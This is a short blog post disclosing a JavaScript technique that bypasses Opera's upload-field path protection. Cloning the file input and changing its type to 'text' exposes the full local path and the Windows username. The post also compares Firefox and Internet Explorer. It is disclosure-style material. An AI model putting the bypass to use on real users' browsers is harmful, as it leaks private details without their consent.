Circumvention of Opera's Upload Field Path Protection

Matthias Reuter's picture

If you have a form with a file upload field, in some browsers you cannot extract the path to the chosen file. This is meant as a security measure, because it might reveal some information about the user, e.g. the username.

In earlier versions of Opera, if you tried to read the upload field's value, only the file name was given:

var uploadField = document.getElementById("upload");
var path = uploadField.value; // was "foo.jpg"

In the recent version, Opera for some reason reveals a full path, but it's a fake path:

var uploadFIeld = document.getElementById("upload");
var path = uploadField.value; // now "C:\fake_path\foo.jpg"

I agree that the path should be hidden to anyone else but the user, but I don't agree that giving a fake path is a good solution. Anyway, I found a way to circumvent the path protection. It's easy. You just have to clone the upload field, change the type and voilà, you can read the whole path:

var uploadField = document.getElementById("upload");

// now create a clone
var clone = uploadField.cloneNode(true);

// since the clone still is an upload field, the value is protected
// so change the type
clone.type = "text";

// now we can extract the value
var path = clone.value; // now "C:\Documents and Settings\Matthias\foo.jpg"

I tried the other way round to see if I could create a text field with a given value and then change it to an upload field. If that was possible, you could upload any file without the user noticing, as long as you can guess the path. Fortunately, this is not possible. Whenever changing the type to "file", the value is lost.

var uploadField = document.createElement("input");
uploadField.value = "C:\\Documents and Settings\\Matthias\\bar.jpg";
uploadField.type = "file";
document.body.appendChild(uploadField); // value is lost

Extracting the path as mentioned above does not work in Firefox. Firefox only reveals the file name, not the path. Internet Explorer does not protect the path at all, so you can get it just by accessing the upload field's value. I did not try Chrome or Safari, feel free to leave your findings in a comment.